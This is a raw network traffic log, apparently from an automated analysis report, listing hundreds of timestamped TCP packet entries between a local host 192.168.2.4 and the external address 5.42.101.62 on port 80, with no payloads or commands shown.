Sep 30, 2024 12:22:36.458704948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458714008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458739042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458745003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458791971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458791971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458822966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458842039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458854914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458864927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458894014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458909035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458944082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458956003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458976984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458986998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459011078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459017992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459043980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459054947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459076881 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459095001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459111929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459115028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459139109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459162951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459188938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459192038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459233999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459245920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459279060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459292889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459314108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459322929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459355116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459367990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459408045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459435940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459472895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459482908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459506989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459513903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459539890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459551096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459573984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459585905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459608078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459618092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459642887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459664106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459675074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459688902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459707975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459719896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459738016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459748983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459769964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459780931 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459806919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459815979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459841013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459856987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459878922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459886074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459913015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459923983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459948063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.459956884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.459981918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460000038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460015059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460026026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460051060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460063934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460086107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460097075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460119009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460129976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460155964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460176945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460191011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460203886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460226059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460237026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460256100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460268974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460289955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460299969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460324049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460334063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460355997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460366011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460390091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460402012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460422993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460434914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460459948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460465908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460494041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460509062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460529089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460534096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460563898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460577965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460609913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460623026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460643053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460660934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460679054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460681915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460711956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460724115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460747957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460757017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460783005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.460793018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.460825920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.543225050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.543260098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.543289900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.543308020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.543311119 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.543345928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.543350935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.543379068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.543404102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.543411970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.543430090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.543467045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.543476105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.543519974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.543880939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.543931007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.543932915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.543966055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.543977976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.543993950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544011116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544040918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544045925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544080019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544092894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544111013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544121981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544146061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544156075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544183016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544213057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544248104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544258118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544280052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544292927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544315100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544321060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544353008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544364929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544415951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544415951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544456005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544462919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544548035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544559956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544580936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544593096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544615984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544627905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544647932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544656992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544681072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544687986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544713974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544724941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544747114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544758081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544790030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544802904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544857979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544867992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544903040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544917107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544934988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544935942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.544969082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.544980049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545001984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545013905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545044899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545053005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545089960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545098066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545125008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545139074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545157909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545166969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545191050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545202017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545223951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545233011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545260906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545275927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545293093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545303106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545327902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545331955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545361042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545372963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545393944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545404911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545428991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545437098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545463085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545471907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545496941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545507908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545542955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545548916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545582056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545597076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545617104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545625925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545650959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545661926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545695066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545701981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545736074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545747995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545768976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545778990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545803070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545811892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545850039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545856953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545891047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545902014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545933962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.545942068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545974016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.545988083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546005011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546015024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546037912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546046972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546072960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546087980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546107054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546113014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546140909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546154976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546173096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546185970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546205997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546211958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546240091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546248913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546272993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546281099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546307087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546317101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546339989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546344995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546375036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546394110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546405077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546406031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546438932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546451092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546478987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546494007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546542883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546545029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546580076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546592951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546612978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546622038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546644926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546654940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546691895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546696901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546746969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546747923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546782017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546797037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546813965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546823025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546899080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546914101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546932936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546942949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546967030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.546996117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.546999931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547008991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547033072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547053099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547066927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547074080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547100067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547108889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547132969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547142982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547168016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547180891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547200918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547211885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547236919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547252893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547266960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547277927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547300100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547312975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547333002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547343969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547367096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547375917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547410965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547421932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547456026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547470093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547491074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547511101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547523975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547533989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547559023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547569990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547588110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547597885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547621012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547635078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547652960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547663927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547688007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.547694921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.547724962 CEST	80	52534	5.42.101.62	192.168.2.4
